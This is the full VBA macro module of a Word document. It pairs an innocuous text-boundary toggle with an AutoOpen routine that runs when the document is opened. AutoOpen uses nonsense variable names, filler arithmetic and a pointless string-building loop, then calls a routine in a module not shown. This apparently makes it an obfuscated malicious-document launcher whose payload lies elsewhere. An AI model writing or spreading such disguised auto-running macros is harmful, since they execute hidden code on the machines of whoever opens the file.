Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub ToggleTextBoundaries()
    If Documents.Count > 0 Then
        With ActiveDocument.ActiveWindow.View
            .ShowTextBoundaries = Not .ShowTextBoundaries
        End With
    End If
End Sub

Public Sub AutoOpen()
    Dim uncurbed As Integer
    Dim remigration As Integer
    Dim affuse As Variant
    remigration = solemnize.permanent
    If remigration = 48 - 97 + 39349 Then
        ToggleTextBoundaries
    Else
        anatomist = 96 - 77
        blarney = 49 + 6
        For anatomist = 96 - 77 To 49 + 6
            anthropolatry = Right("standpointuro", 3) + "pygiu" + Left("mmoping", 1) + Left("attroupement", 0)
        Next anatomist
        solemnize.wedgeshaped
    End If
End Sub